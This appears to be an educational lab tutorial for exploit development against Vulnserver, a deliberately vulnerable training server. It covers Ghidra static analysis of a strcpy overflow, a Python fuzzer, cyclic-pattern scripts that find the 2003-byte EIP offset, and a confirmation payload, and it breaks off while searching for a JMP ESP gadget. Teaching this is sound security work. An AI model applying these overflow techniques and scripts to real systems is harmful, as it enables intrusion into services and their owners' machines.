Reverse Engineer and Exploit a Server

Reverse engineer a vulnerable TCP server and build a working buffer overflow exploit.

Introduction

30 Second Summary

Every piece of software you use has a door that was never meant to open. Hackers find those doors by reading the code that builds them and testing what breaks.

In this project, you will reverse engineer a vulnerable network server, discover a buffer overflow vulnerability hidden in its code, and write a Python exploit that takes full control of the program's execution.

What You'll Build

A complete exploit development pipeline targeting a vulnerable Windows TCP server, from static reverse engineering through dynamic analysis to a working proof-of-concept exploit.

By the end of this project, you'll have:

  • A Ghidra analysis project with the vulnerable TRUN command path identified through static analysis.
  • Confirmed EIP control through x64dbg dynamic analysis, with the exact buffer overflow offset pinpointed to 2003 bytes.
  • A complete Python exploit script that overwrites EIP and redirects execution to attacker-controlled space using a JMP ESP gadget.
  • Secret Mission: extend your exploit to pop a calculator by crafting custom shellcode that executes when your payload lands.

Are there any prerequisites?

You should have basic familiarity with Python scripting and a basic understanding of how programs use memory (stack vs heap). No prior reverse engineering or exploit development experience is required.

Set Up Your Exploitation Lab

Before you can reverse engineer a binary or write an exploit, you need the right tools in place.

Every exploit developer works with a consistent set of tools: a scripting language for writing exploits, a debugger for watching programs crash, a disassembler for reading binary code, and a vulnerable target to practice on. In this step, you will install all four.

In this step, get ready to:
  • Install Python 3 and Ncat for scripting exploits and testing network connections.
  • Install x64dbg for dynamic debugging of running programs.
  • Install Ghidra and download Vulnserver as your reverse engineering tool and vulnerable target.
Install Python 3 and Ncat

Python is the standard language for writing exploit scripts because its socket library makes it easy to send raw data over the network. Ncat is a networking utility that lets you manually connect to servers and send commands.

  • Open your web browser and navigate to python.org/downloads.
  • Click the large Download Python button to download the latest installer.
  • Run the installer.
  • On the first screen, check the box that says Add python.exe to PATH before clicking Install Now.

Why check Add to PATH?

Adding Python to your PATH means you can run python from any Command Prompt window without typing the full installation path. Without this, your exploit scripts will not run from the terminal.

  • Wait for the installation to complete, then click Close.
  • Now install Ncat. Navigate to nmap.org/download in your browser.
  • Under the Microsoft Windows binaries section, download the latest stable .exe installer.
  • Run the Nmap installer and accept the default settings throughout the wizard.

What is Ncat?

Ncat is a networking utility bundled with Nmap. It lets you connect to TCP/UDP servers and send raw text, which is perfect for manually testing Vulnserver commands before automating with Python.

Now verify both tools are working. You need to open a fresh Command Prompt window so it picks up the new PATH entries.

  • Press the Windows key to open your search bar.
  • Type cmd and press Enter to open Command Prompt.
  • Verify Python is installed by running this command:
python --version
  • You should see a version number like Python 3.x.x printed in the terminal.
  • Verify Ncat is installed by running this command:
ncat --version
  • You should see Ncat's version information printed in the terminal.

Seeing 'is not recognized' for python or ncat?

If python is not recognized, you likely missed the Add python.exe to PATH checkbox. Rerun the Python installer, select Modify, and ensure the PATH option is checked.

If ncat is not recognized, make sure you opened a NEW Command Prompt window after installing Nmap. Existing windows do not pick up PATH changes.

help me troubleshoot why python or ncat is not recognized in my Command Prompt after installation

Install x64dbg

A debugger lets you pause a running program, inspect its memory, and watch exactly what happens when it crashes. x64dbg is a modern, open-source Windows debugger that you will use to observe the buffer overflow in real time.

  • Navigate to x64dbg.com in your browser.
  • Click the Download button to get the latest snapshot ZIP file.
  • Create a folder called C:\x64dbg.
  • Extract the contents of the downloaded ZIP file into C:\x64dbg.

Why the 32-bit debugger?

Vulnserver is a 32-bit application, so you need the 32-bit debugger (x32dbg.exe) to attach to it. The x64dbg package includes both 32-bit and 64-bit debuggers in the same download.

  • Open File Explorer and navigate to C:\x64dbg\release\x32.
  • Double-click x32dbg.exe to launch it.
  • You should see the x64dbg main debugger window open with a disassembly view, registers panel, and stack view.
  • Close x64dbg for now. You will use it in Step 3.

x64dbg won't launch or shows a security warning?

Windows SmartScreen may block the file because it is not commonly downloaded. Click More info then Run anyway to proceed.

If your antivirus quarantines the file, add an exclusion for the C:\x64dbg folder. Debuggers are sometimes flagged as suspicious tools even though x64dbg is legitimate open-source software.

help me get x64dbg running on Windows when it is blocked by SmartScreen or antivirus

Install Ghidra and download Vulnserver

Ghidra is a reverse engineering tool developed by the NSA that disassembles binaries into readable assembly code. You will use it to read Vulnserver's compiled code and find the vulnerability before ever running the program.

Ghidra requires Java to run, so you will install the JDK first.

  • Navigate to adoptium.net in your browser.
  • Download the JDK 21 installer for Windows x64 (the .msi file).
  • Run the installer. During installation, check the option to set JAVA_HOME automatically when prompted.
  • Complete the installation with default settings.

What is JAVA_HOME?

JAVA_HOME is an environment variable that tells other programs (like Ghidra) where Java is installed on your system. The Adoptium installer can set this for you automatically if you check the option during install.

  • Verify JAVA_HOME is set by opening a new Command Prompt and running this command:
echo %JAVA_HOME%
  • You should see a path like C:\Program Files\Eclipse Adoptium\jdk-21... printed in the terminal.

JAVA_HOME is empty or shows %JAVA_HOME%?

If you see the literal text %JAVA_HOME% instead of a path, the variable was not set during installation. You need to set it manually.

Press the Windows key and search for Environment Variables. Click Edit the system environment variables, then Environment Variables. Under System variables, click New and set the name to JAVA_HOME and the value to the JDK installation folder (e.g. C:\Program Files\Eclipse Adoptium\jdk-21.0.x-hotspot).

help me set JAVA_HOME on Windows for Ghidra

Now download and extract Ghidra.

  • Navigate to the Ghidra releases page on GitHub.
  • Download the latest release ZIP file (e.g. ghidra_12.0.4_PUBLIC_xxxxxxxx.zip).
  • Extract the ZIP to a location you can easily find, such as C:\Ghidra.
  • Verify Ghidra launches by opening the extracted folder and double-clicking ghidraRun.bat.
  • You should see the Ghidra splash screen followed by the project selection window.
  • Close Ghidra for now. You will use it in Step 2.

Finally, download Vulnserver. This is the intentionally vulnerable server you will exploit.

  • Navigate to the Vulnserver GitHub repository.
  • Click the green Code button, then click Download ZIP.
  • Extract the ZIP to a folder you can easily find, such as C:\Vulnserver.
  • Open the extracted folder and confirm that both vulnserver.exe and essfunc.dll are in the same folder.

Why do both files need to be together?

Vulnserver loads essfunc.dll at runtime to handle incoming commands. The vulnerable function you will exploit lives inside this DLL. If the DLL is missing, Vulnserver will not start.

Your exploitation lab is ready. Next up, you will open Vulnserver in Ghidra and reverse engineer its code to find the vulnerability before ever running the program.

Reverse Engineer Vulnserver in Ghidra

Your exploitation lab is ready. Now it's time to look inside Vulnserver and understand how it works before you attack it.

This is static analysis. You'll use Ghidra to disassemble Vulnserver's binary code back into readable functions. Your goal is to find the TRUN command handler and trace how user input flows into an unsafe memory operation.

In this step, get ready to:
  • Import Vulnserver into a Ghidra project and run auto-analysis.
  • Locate the TRUN command handler through string searches and cross-references.
  • Trace the vulnerable code path to identify the unsafe strcpy() call.
Create a Ghidra project and import Vulnserver

Ghidra organizes all analysis work into projects. You need to create one and import the Vulnserver binary before you can start examining its code.

  • Open File Explorer and navigate to the folder where you extracted Ghidra.
  • Double-click ghidraRun.bat to launch Ghidra.

First time launching Ghidra?

Ghidra may take 30-60 seconds to load on first launch. If it asks you to agree to a license, click I Agree. If you see a "What's New" window, close it.

You should see the Ghidra Project Manager window with a dragon logo and menu bar at the top.

  • Click File in the menu bar.
  • Click New Project.
  • Select Non-Shared Project and click Next.
  • Choose any directory for the project location.
  • Enter Vulnserver as the project name.
  • Click Finish.

Your new project appears in the Project Manager. Now import the Vulnserver binary into it.

  • Click File in the menu bar.
  • Click Import File.
  • Navigate to the folder containing vulnserver.exe and select it.
  • Click OK on the Import dialog (accept the default format settings).
  • Click OK on the Import Results Summary.

You should see vulnserver.exe listed in your project folder. Now open it for analysis.

  • Double-click vulnserver.exe in the project listing to open it in the CodeBrowser.
  • When prompted "Would you like to analyze it now?", click Yes.
  • Accept the default analysis options and click Analyze.

What does auto-analysis do?

Ghidra's auto-analysis disassembles the binary, identifies functions, resolves cross-references between code sections, and decompiles machine code into readable C-like pseudocode. This process takes 30-90 seconds depending on your machine.

Wait for the analysis to complete. You can see the progress in the bottom-right corner of the CodeBrowser window. When it finishes, the status bar shows "Idle".

Ghidra won't launch or shows a Java error?

Make sure your JAVA_HOME environment variable points to your JDK 21 installation folder. The path should end at the JDK root folder, not the bin subfolder. Ghidra requires a 64-bit JDK 21.

Help me troubleshoot Ghidra not launching on Windows with JDK 21

Identify the TRUN command handler

Vulnserver supports multiple commands (TRUN, GMON, KSTET, etc.), but the TRUN command has a known buffer overflow vulnerability. Your job is to find the function that handles TRUN input by searching for the string in the binary.

  • In the CodeBrowser menu bar, click Search.
  • Click For Strings....
  • In the search dialog, accept the default settings and click Search.

A "Defined Strings" window appears listing all readable strings found in the binary.

  • Click the Filter field at the bottom of the Defined Strings window.
  • Type TRUN to filter results.
  • Double-click the TRUN string result to navigate to its location in the binary.

The Listing view jumps to where "TRUN" is stored in the binary's data section. Now you need to find which function actually uses this string.

  • Right-click the TRUN string in the Listing view.
  • Click References, then Show References to Address.
  • Double-click the cross-reference result to jump to the function that references "TRUN".

What are cross-references?

Cross-references (XREFs) show you every place in the code that reads from, writes to, or calls a specific address. When you follow the XREF from the "TRUN" string, Ghidra takes you to the function that compares incoming network data against that string.

You should now be inside the main connection-handling function. Look at the Decompile window on the right side of CodeBrowser. You can see the C-like pseudocode showing how the function uses strcmp() to compare the received command against "TRUN".

  • In the Decompile window, locate the if block that compares input against "TRUN".
  • Inside that block, find the function call that handles the TRUN input. This calls into a function in essfunc.dll.
  • Double-click that function call to navigate into it.

You have now located the TRUN command handler. The function you're looking at receives user input from the network and processes it.

Can't see the Decompile window?

If the Decompile panel is not visible, click Window in the CodeBrowser menu bar, then click Decompile. It should appear on the right side of the screen.

Help me find the Decompile window in Ghidra's CodeBrowser

Trace the vulnerable code path

Now that you're inside the TRUN handler function, you need to understand exactly how user input reaches memory. The vulnerability lives in how this function copies network data onto the stack without checking how much data it's copying.

  • In the Decompile window, examine the function's local variable declarations at the top.
  • Look for a local character array (stack buffer) allocated at approximately ebp-0x7d8. This is roughly 2024 bytes of space on the stack.

What is ebp-0x7d8?

In x86 assembly, EBP is the base pointer register that marks the start of the current function's stack frame. ebp-0x7d8 means "2008 bytes below the base pointer." This tells you the buffer is about 2024 bytes in size.

Anything written beyond that buffer will overwrite other values on the stack, including the saved return address (EIP) that tells the program where to go when this function returns.

  • Scroll through the function to find a check for the dot character (. or 0x2e) in the received input.
  • Below that check, find the call to strcpy(). This is the vulnerable function.

Why is strcpy() dangerous?

strcpy() copies data from a source into a destination buffer until it hits a null byte (\x00). It has no concept of buffer size. If the source data is 5000 bytes and the destination buffer is only 2024 bytes, strcpy() happily writes all 5000 bytes, overwriting everything beyond the buffer on the stack.

This is the exact condition for a stack-based buffer overflow. The attacker controls the source data (network input) and the destination has a fixed size. Nothing stops the copy from overwriting the saved EIP.

  • Confirm that the strcpy() call copies the received network payload directly into the stack buffer at ebp-0x7d8.
  • Verify there is no bounds checking between the recv() call and the strcpy() call. The data flows directly from network socket to stack buffer.

Record these findings. You now know the complete vulnerability chain:

  • The TRUN command accepts network input via recv().
  • The input must contain a dot character (.) to reach the vulnerable path.
  • strcpy() copies the input into a ~2024-byte stack buffer without checking length.
  • Any input longer than the buffer overwrites the saved EIP on the stack.

Why does the dot character matter?

The code checks for a dot (0x2e) in the payload before branching into the vulnerable strcpy() path. Without a dot in your payload, the code takes a different branch and the overflow never happens. This is why your exploit payload will use the prefix TRUN /.:/ to satisfy this condition.

You have completed your static analysis of Vulnserver. You know exactly where the vulnerability lives and why it's exploitable. Next, you'll confirm this theory by crashing Vulnserver with a live fuzzer and watching the buffer overflow happen in real time through x64dbg.

Fuzz Vulnserver to Confirm the Crash

In the previous step, you identified the vulnerable strcpy() call through static analysis in Ghidra. You know the stack buffer is approximately 2024 bytes. Now it is time to prove the vulnerability is real by crashing the server over the network.

In this step, you will write a Python fuzzer that sends increasingly large payloads to Vulnserver's TRUN command until it crashes. Then you will attach a debugger and observe exactly what happens to the instruction pointer when the overflow occurs.

In this step, get ready to:
  • Start Vulnserver and verify TRUN responds over a network connection.
  • Write and run a Python fuzzer that discovers the crash point.
  • Attach x64dbg and confirm that EIP is overwritten with your payload.
Start Vulnserver and connect with Ncat

Before fuzzing, you need to confirm that Vulnserver is accepting connections and responding to the TRUN command. This establishes your baseline for normal behavior.

  • Open the folder where you extracted vulnserver.exe and essfunc.dll.
  • Right-click vulnserver.exe and select Run as administrator.

A Command Prompt window appears showing Vulnserver is listening on port 9999.

  • Open a new Command Prompt window.
  • Connect to Vulnserver by running this command:
ncat 127.0.0.1 9999

You should see a welcome banner from Vulnserver.

  • Type HELP and press Enter to see the list of available commands.
  • Type TRUN test and press Enter.

You should see the response TRUN COMPLETE. This confirms the TRUN command is working normally.

  • Type EXIT or press Ctrl+C to close the Ncat connection.

Why run as Administrator?

Vulnserver binds to a network port, which requires elevated privileges on modern Windows. Running as Administrator ensures it can listen on port 9999 without permission errors.

Connection refused?

Make sure the Vulnserver Command Prompt window is still open and shows it is listening. If Windows Firewall prompts you, click Allow access.

help me connect to Vulnserver with Ncat on port 9999

Write and run a Python fuzzer

A fuzzer is a script that sends malformed or oversized input to a program to discover crash points. Your fuzzer will send the TRUN command with increasingly long payloads until Vulnserver stops responding.

  • Create a new file called fuzzer.py in the same folder as vulnserver.exe. You can do this in any text editor or by running:
notepad fuzzer.py
  • Copy the following code into fuzzer.py:
import socket
import sys
import time

target_ip = "127.0.0.1"
target_port = 9999

buffer_size = 100
increment = 100
max_size = 3000

print(f"[*] Fuzzing Vulnserver TRUN command on {target_ip}:{target_port}")

while buffer_size <= max_size:
    try:
        payload = b"TRUN /.:/ " + b"A" * buffer_size
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((target_ip, target_port))
        s.recv(1024)  # Receive banner
        s.send(payload)
        s.recv(1024)  # Try to receive response
        s.close()
        print(f"[+] Sent {buffer_size} bytes - No crash")
        buffer_size += increment
        time.sleep(0.5)
    except Exception as e:
        print(f"[!] Crashed at {buffer_size} bytes!")
        print(f"[!] Error: {e}")
        sys.exit(0)

print("[*] Fuzzing complete - no crash detected within range")

What does this code do?

The fuzzer sends the TRUN command with a payload that starts at 100 bytes and grows by 100 each iteration, up to 3000 bytes maximum.

  • The prefix TRUN /.:/ includes a dot character, which triggers the vulnerable code path you found in Ghidra.
  • The b"A" * buffer_size fills the payload with repeating 'A' characters (hex 0x41) to overflow the buffer.
  • When the server crashes, s.recv() will throw an exception because the connection drops. The script catches this and reports the crash size.
  • Save fuzzer.py.
  • Make sure Vulnserver is still running in its Command Prompt window.
  • Open a new Command Prompt, navigate to the folder containing fuzzer.py, and run the fuzzer:
python fuzzer.py

You should see output like [+] Sent 100 bytes - No crash incrementing upward until the script reports a crash around 2000-2200 bytes.

Why does it crash around 2000 bytes?

In Ghidra, you found the stack buffer is approximately 2024 bytes (at ebp-0x7d8). Once your payload exceeds this size, the 'A' characters overflow past the buffer and overwrite critical stack data including the saved return address (EIP). The program crashes because it tries to jump to an invalid address.

Fuzzer finishes without detecting a crash?

Check that Vulnserver is still running. If it crashed from a previous test, restart it by right-clicking vulnserver.exe and selecting Run as administrator again.

Also confirm the target IP is 127.0.0.1 and port is 9999 in your script.

help me troubleshoot my fuzzer not detecting a crash against Vulnserver

Attach x64dbg and observe the crash

You know the server crashes, but you need to see exactly what happens to the CPU registers at the moment of the crash. Attaching a debugger lets you observe that your 'A' characters land directly in EIP, the register that controls which instruction the CPU executes next.

  • Restart Vulnserver by closing the crashed window and right-clicking vulnserver.exe > Run as administrator.
  • Open x32dbg.exe from C:\x64dbg\release\x32\x32dbg.exe.
  • In x32dbg, click File in the menu bar.
  • Click Attach.
  • Find and select the vulnserver.exe process in the list, then click Attach.

What is attaching?

Attaching a debugger connects it to a running process. The debugger can then pause execution, inspect registers, and catch crashes in real time without restarting the target program.

  • Press F9 (Run) to let Vulnserver continue executing. The debugger pauses the process on attach, so this step is required for Vulnserver to accept connections again.
  • In your Command Prompt, run the fuzzer again:
python fuzzer.py

When the crash occurs, x64dbg automatically pauses execution. Look at the Registers panel on the right side of the debugger window.

  • Find the EIP register. It should display 41414141.

What does 41414141 mean?

The hex value 41 is the ASCII code for the letter 'A'. Seeing 41414141 in EIP means four of your 'A' characters overwrote the instruction pointer. The CPU tried to execute code at address 0x41414141, which does not exist, causing the crash.

This confirms the buffer overflow you identified in Ghidra is exploitable over the network. If you can control which 4 bytes land in EIP, you can redirect the program to execute any code you choose.

EIP shows something other than 41414141?

If EIP shows a different value, the debugger may have caught a different exception before the overflow. Press F9 again to continue past internal exceptions until you see 41414141 in EIP.

If the debugger never catches the crash, make sure you pressed F9 after attaching. Vulnserver cannot accept connections while paused.

help me see EIP overwritten with 41414141 in x64dbg after fuzzing Vulnserver

✔️ Awesome, I've got everything!

Great. Double check you have saved fuzzer.py and can re-run it whenever you need to crash Vulnserver again.

ⓧ I'd like to double check the full code

Here is the complete fuzzer.py for comparison:

import socket
import sys
import time

target_ip = "127.0.0.1"
target_port = 9999

buffer_size = 100
increment = 100
max_size = 3000

print(f"[*] Fuzzing Vulnserver TRUN command on {target_ip}:{target_port}")

while buffer_size <= max_size:
    try:
        payload = b"TRUN /.:/ " + b"A" * buffer_size
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((target_ip, target_port))
        s.recv(1024)  # Receive banner
        s.send(payload)
        s.recv(1024)  # Try to receive response
        s.close()
        print(f"[+] Sent {buffer_size} bytes - No crash")
        buffer_size += increment
        time.sleep(0.5)
    except Exception as e:
        print(f"[!] Crashed at {buffer_size} bytes!")
        print(f"[!] Error: {e}")
        sys.exit(0)

print("[*] Fuzzing complete - no crash detected within range")

You have confirmed the buffer overflow is real. Your 'A' characters flow straight through the network, past the stack buffer, and into EIP. Next up, you will pinpoint the exact byte offset where EIP gets overwritten so you can control it with surgical precision.

Pinpoint the Exact EIP Offset

Your fuzzer confirmed that Vulnserver crashes somewhere between 2000 and 2200 bytes. That's a 200-byte window of uncertainty.

To build a working exploit, you need the exact byte offset where EIP gets overwritten. In this step, you'll send a unique cyclic pattern that lets you calculate the precise offset down to the byte, then confirm you can place any value you want into EIP.

In this step, get ready to:
  • Generate a cyclic pattern that uniquely identifies every 4-byte sequence.
  • Find the exact EIP offset using a pattern-matching script.
  • Confirm precise EIP control with a targeted payload.
Generate a cyclic pattern

Sending all "A" characters tells you that something in your buffer overwrites EIP, but every byte looks the same. A cyclic pattern solves this by generating a string where every 4-byte sequence is unique.

When the crash happens, the unique 4-byte value sitting in EIP tells you exactly how far into the buffer that position is.

  • Create a new file called pattern_create.py in the same folder as your fuzzer.py.
  • Add the following code to generate a de Bruijn-style cyclic pattern:
import sys

def create_pattern(length):
    # Build a unique cyclic pattern using three character sets
    pattern = ""
    upper = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    lower = "abcdefghijklmnopqrstuvwxyz"
    digits = "0123456789"

    # Each 3-character combination is unique across the pattern
    for u in upper:
        for l in lower:
            for d in digits:
                if len(pattern) >= length:
                    return pattern[:length]
                pattern += u + l + d
    return pattern[:length]

if __name__ == "__main__":
    length = int(sys.argv[1]) if len(sys.argv) > 1 else 3000
    pattern = create_pattern(length)
    print(f"[*] Generated pattern of length {len(pattern)}")
    print(pattern)

What does this code do?

The create_pattern() function cycles through three character sets (uppercase, lowercase, digits) to produce a string where every consecutive 4-byte chunk is unique.

This means no matter which 4 bytes land in EIP after the crash, you can trace them back to a single position in the pattern. The function is also importable by other scripts.

  • Save pattern_create.py.
  • Test the pattern generator by running:
python pattern_create.py 20

You should see a 20-character string like Aa0Aa1Aa2Aa3Aa4Aa5Aa printed to the terminal.

Seeing a ModuleNotFoundError or no output?

Make sure you saved the file as pattern_create.py (not pattern-create.py) and that you're running the command from the same folder where the file is saved.

help me debug my pattern_create.py script

Now you need a script that sends this pattern directly to Vulnserver as the TRUN payload.

  • Create a new file called exploit_pattern.py in the same folder.
  • Add the following code to send the cyclic pattern to Vulnserver:
import socket
from pattern_create import create_pattern

target_ip = "127.0.0.1"
target_port = 9999

# Generate a 3000-byte unique pattern (well beyond the crash point)
pattern = create_pattern(3000)

# Build the TRUN payload with the pattern
payload = b"TRUN /.:/ " + pattern.encode()

print(f"[*] Sending pattern of {len(pattern)} bytes to {target_ip}:{target_port}")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.recv(1024)
s.send(payload)
s.close()

print("[*] Pattern sent! Check EIP value in x64dbg")
print("[*] Then run: python pattern_offset.py <EIP_VALUE>")

What does this code do?

This script imports the create_pattern() function from your other file and generates a 3000-byte cyclic pattern. It then sends that pattern as the TRUN command payload, which is long enough to overflow the buffer and crash the server.

The /.:/ prefix ensures the dot character is present, which triggers the vulnerable code path you identified in Ghidra.

  • Save exploit_pattern.py.

Seeing an ImportError when you run it later?

Both pattern_create.py and exploit_pattern.py must be in the same folder. The import statement looks for pattern_create.py in the current directory.

help me fix my import error in exploit_pattern.py

Find the offset in x64dbg

With your pattern scripts ready, you'll crash Vulnserver with the cyclic pattern and read the unique EIP value from the debugger. A companion script will then calculate the exact byte position.

  • If Vulnserver is still crashed from earlier, close it.
  • Right-click vulnserver.exe and select Run as administrator.
  • Open x32dbg.exe from C:\x64dbg\release\x32\.
  • Click File then Attach.
  • Select the vulnserver.exe process from the list and click Attach.
  • Press F9 to let Vulnserver resume execution.

Vulnserver is now running under the debugger's watch. When it crashes, x64dbg will pause and show you the register state.

  • In a Command Prompt, run your pattern exploit by running:
python exploit_pattern.py
  • Switch to x64dbg. It should have paused at the crash.
  • Look at the Registers panel (top-right area). Find the EIP value.
  • Write down the 8-character hex value shown in EIP (for example, 386F4337).

Why is EIP different this time?

Last time you sent all "A" characters, so EIP showed 41414141 (hex for "AAAA"). This time you sent a unique pattern, so EIP shows whichever 4 bytes of the pattern landed in the instruction pointer. That unique value is your key to finding the exact offset.

Now you need a script that takes that EIP value and searches the pattern for its position.

  • Create a new file called pattern_offset.py in the same folder as your other scripts.
  • Add the following code:
import sys
import struct

def create_pattern(length):
    # Recreate the same pattern used by exploit_pattern.py
    pattern = ""
    upper = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    lower = "abcdefghijklmnopqrstuvwxyz"
    digits = "0123456789"

    for u in upper:
        for l in lower:
            for d in digits:
                if len(pattern) >= length:
                    return pattern[:length]
                pattern += u + l + d
    return pattern[:length]

def find_offset(eip_value):
    pattern = create_pattern(3000)
    # Convert hex EIP value to ASCII bytes in little-endian order
    try:
        eip_bytes = struct.pack("<I", int(eip_value, 16))
        search_str = eip_bytes.decode("ascii")
    except (ValueError, UnicodeDecodeError):
        print(f"[!] Could not decode EIP value: {eip_value}")
        return -1

    # Search the pattern for the decoded string
    offset = pattern.find(search_str)
    return offset

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python pattern_offset.py <EIP_hex_value>")
        print("Example: python pattern_offset.py 386F4337")
        sys.exit(1)

    eip_value = sys.argv[1]
    offset = find_offset(eip_value)

    if offset >= 0:
        print(f"[*] Exact offset: {offset} bytes")
    else:
        print("[!] Pattern not found - check your EIP value")

What does this code do?

The find_offset() function takes your EIP hex value, converts it to bytes in little-endian order (because x86 stores values least-significant byte first), then searches the pattern for that byte sequence.

The position where it finds the match is the exact number of bytes between the start of your buffer and EIP.

  • Save pattern_offset.py.
  • Run the offset finder with the EIP value you recorded from x64dbg:
python pattern_offset.py [[EIP_VALUE="the hex EIP value from x64dbg e.g. 386F4337"]]

You should see output showing [*] Exact offset: 2003 bytes. This means bytes 2004 through 2007 of your buffer land directly in EIP.

Seeing "Pattern not found" or a different offset?

Double-check the EIP value you copied from x64dbg. Make sure you're reading the EIP register specifically, not ESP or another register. The value should be 8 hex characters.

If you see a different number (not 2003), verify that your pattern_create.py matches the code above exactly. Both scripts must use the same pattern generation logic.

help me troubleshoot my pattern offset calculation

Confirm EIP control

Knowing the offset is 2003 bytes is a strong signal, but you need to prove it conclusively. You'll send exactly 2003 filler bytes followed by 4 distinctive bytes and verify those exact bytes appear in EIP.

  • Create a new file called exploit_confirm.py in the same folder.
  • Add the following code to send a precisely crafted payload:
import socket

target_ip = "127.0.0.1"
target_port = 9999

# The exact number of bytes before EIP
offset = 2003

# Construct the payload in three sections
buffer = b"A" * offset       # Filler to reach EIP
eip = b"B" * 4               # Distinctive marker for EIP (42424242)
padding = b"C" * 500         # Extra bytes after EIP

payload = b"TRUN /.:/ " + buffer + eip + padding

print(f"[*] Sending confirmation payload to {target_ip}:{target_port}")
print(f"[*] Offset: {offset} bytes of 'A'")
print(f"[*] EIP should be: 42424242")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.recv(1024)
s.send(payload)
s.close()

print("[*] Payload sent! Check EIP in x64dbg - should show 42424242")

What does this code do?

The payload has three distinct sections. First, 2003 "A" bytes (0x41) fill the buffer up to EIP. Then 4 "B" bytes (0x42) land exactly in EIP. Finally, 500 "C" bytes overflow past EIP onto the stack.

If the offset is correct, EIP will show 42424242 (the hex representation of "BBBB"). This proves you can place any 4 bytes you want into EIP.

  • Save exploit_confirm.py.
  • Close x64dbg and close the crashed Vulnserver.
  • Right-click vulnserver.exe and select Run as administrator to start it fresh.
  • Open x32dbg.exe again.
  • Click File then Attach.
  • Select vulnserver.exe and click Attach.
  • Press F9 to resume execution.
  • In your Command Prompt, run the confirmation exploit:
python exploit_confirm.py
  • Switch to x64dbg. It should have paused at the crash.
  • Check the EIP register in the Registers panel.

EIP should now display 42424242. This confirms you have complete control over the instruction pointer at an offset of exactly 2003 bytes.

EIP doesn't show 42424242?

If EIP still shows 41414141, you may have run the wrong script. Confirm you're running exploit_confirm.py (not exploit_pattern.py or fuzzer.py).

If EIP shows a different value entirely, double-check that your offset variable is set to 2003 and that the payload structure matches the code above.

help me debug why EIP doesn't show 42424242

✔️ Awesome, I've got everything!

Great. Double check you've saved all four files.

ⓧ I'd like to double check the full code

Here are the complete files you should have at this point.

import sys

def create_pattern(length):
    pattern = ""
    upper = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    lower = "abcdefghijklmnopqrstuvwxyz"
    digits = "0123456789"

    for u in upper:
        for l in lower:
            for d in digits:
                if len(pattern) >= length:
                    return pattern[:length]
                pattern += u + l + d
    return pattern[:length]

if __name__ == "__main__":
    length = int(sys.argv[1]) if len(sys.argv) > 1 else 3000
    pattern = create_pattern(length)
    print(f"[*] Generated pattern of length {len(pattern)}")
    print(pattern)
import sys
import struct

def create_pattern(length):
    pattern = ""
    upper = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    lower = "abcdefghijklmnopqrstuvwxyz"
    digits = "0123456789"

    for u in upper:
        for l in lower:
            for d in digits:
                if len(pattern) >= length:
                    return pattern[:length]
                pattern += u + l + d
    return pattern[:length]

def find_offset(eip_value):
    pattern = create_pattern(3000)
    # Convert hex EIP value to ASCII (little-endian)
    try:
        eip_bytes = struct.pack("<I", int(eip_value, 16))
        search_str = eip_bytes.decode("ascii")
    except (ValueError, UnicodeDecodeError):
        print(f"[!] Could not decode EIP value: {eip_value}")
        return -1

    offset = pattern.find(search_str)
    return offset

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python pattern_offset.py <EIP_hex_value>")
        print("Example: python pattern_offset.py 386F4337")
        sys.exit(1)

    eip_value = sys.argv[1]
    offset = find_offset(eip_value)

    if offset >= 0:
        print(f"[*] Exact offset: {offset} bytes")
    else:
        print("[!] Pattern not found - check your EIP value")
import socket
from pattern_create import create_pattern

target_ip = "127.0.0.1"
target_port = 9999

pattern = create_pattern(3000)

payload = b"TRUN /.:/ " + pattern.encode()

print(f"[*] Sending pattern of {len(pattern)} bytes to {target_ip}:{target_port}")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.recv(1024)
s.send(payload)
s.close()

print("[*] Pattern sent! Check EIP value in x64dbg")
print("[*] Then run: python pattern_offset.py <EIP_VALUE>")
import socket

target_ip = "127.0.0.1"
target_port = 9999

offset = 2003

buffer = b"A" * offset
eip = b"B" * 4
padding = b"C" * 500

payload = b"TRUN /.:/ " + buffer + eip + padding

print(f"[*] Sending confirmation payload to {target_ip}:{target_port}")
print(f"[*] Offset: {offset} bytes of 'A'")
print(f"[*] EIP should be: 42424242")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.recv(1024)
s.send(payload)
s.close()

print("[*] Payload sent! Check EIP in x64dbg - should show 42424242")

You now have surgical precision over the instruction pointer. Next up, you'll use that control to redirect execution into your own code by finding a JMP ESP gadget.

Find a JMP ESP Gadget and Redirect Execution

You proved in the last step that you can control exactly which 4 bytes land in EIP. That means you can point the instruction pointer anywhere you want.

The question now is: where should you point it? You need to redirect execution into the buffer space you control on the stack. A JMP ESP gadget is a tiny instruction inside the program's own libraries that jumps execution to whatever is sitting at the top of the stack. If you overwrite EIP with the address of a JMP ESP instruction, the CPU will jump right into your attacker-controlled payload.

In this step, get ready to:
  • Locate a JMP ESP gadget inside essfunc.dll using x64dbg's pattern search.
  • Write a Python exploit that redirects EIP to the JMP ESP address.
  • Verify that execution lands in your controlled payload on the stack.
Locate a JMP ESP instruction in essfunc.dll

When a function returns, the CPU pops the saved return address off the stack into EIP, then starts executing at that address. At the moment of the return, ESP points to the bytes immediately after the saved return address. A JMP ESP instruction tells the CPU to jump to whatever ESP is pointing at.

Since you control the bytes after EIP in your payload, overwriting EIP with the address of a JMP ESP instruction gives you a reliable trampoline into your code. You need to find one inside essfunc.dll because that DLL has no ASLR protection, so its addresses never change between runs.

  • Restart vulnserver.exe by right-clicking it and selecting Run as administrator.
  • Open x32dbg.exe from C:\x64dbg\release\x32\x32dbg.exe.
  • Click File in the menu bar, then click Attach.
  • Find and select the vulnserver.exe process from the list, then click Attach.
  • Press F9 to resume execution so Vulnserver can accept connections.

Now you need to find the Symbols tab and search essfunc.dll for the JMP ESP opcode.

